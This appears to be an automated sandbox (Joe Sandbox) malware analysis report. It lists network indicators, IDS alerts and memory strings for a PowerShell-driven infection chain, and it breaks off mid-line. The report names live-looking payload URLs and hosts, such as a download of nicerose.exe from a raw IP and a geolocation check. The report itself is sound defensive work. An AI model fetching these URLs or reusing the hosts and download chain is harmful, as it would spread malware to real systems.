40 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 b0 07 00 00 02 00 00 00 40 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 7c 00 00 00 c0 07 00 00 7e 00 00 00 42 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 0c 0d 00 00 40 08 00 00 0c 0d 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 50 15 00 00 00 00 00 00 cc 14
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
                Source: Joe Sandbox ViewASN Name: IS-AS-1US IS-AS-1US
                Source: Joe Sandbox ViewASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
                Source: Joe Sandbox ViewASN Name: GIGABIT-MYGigabitHostingSdnBhdMY GIGABIT-MYGigabitHostingSdnBhdMY
                Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
                Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49740 -> 178.237.33.50:80
                Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 103.82.231.117:443
                Source: global trafficHTTP traffic detected: GET /docs/233_Emxwenemixg HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.maan2u.com
                Source: global trafficHTTP traffic detected: GET /444/nicerose.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 173.214.167.74Connection: Keep-Alive
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: unknownTCP traffic detected without corresponding DNS query: 173.214.167.74
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_050D7A18 URLDownloadToFileW,3_2_050D7A18
                Source: global trafficHTTP traffic detected: GET /docs/233_Emxwenemixg HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.maan2u.com
                Source: global trafficHTTP traffic detected: GET /444/nicerose.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 173.214.167.74Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: global trafficDNS traffic detected: DNS query: www.maan2u.com
                Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                Source: powershell.exe, 00000003.00000002.2187825048.0000000008A16000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://173.214.1
                Source: powershell.exe, 00000003.00000002.2180154159.00000000055C4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://173.214.167.74/444/nicero
                Source: powershell.exe, 00000003.00000002.2187825048.00000000089CF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2179439784.000000000357C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2185510356.0000000007AA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://173.214.167.74/444/nicerose.exe
                Source: powershell.exe, 00000003.00000002.2187825048.00000000089CF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://173.214.167.74/444/nicerose.exeC:
                Source: powershell.exe, 00000003.00000002.2185510356.0000000007AA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://173.214.167.74/444/nicerose.exeS
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
                Source: nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A8A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000002.2476585705.0000000020B09000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/
                Source: colorcpl.exeString found in binary or memory: http://geoplugin.net/json.gp
                Source: colorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp(
                Source: nicerose.exe, 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                Source: colorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpE
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpSystem32
                Source: colorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpl
                Source: colorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpr
                Source: powershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
                Source: nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A8A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000002.2476585705.0000000020B09000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0$
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
                Source: nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: 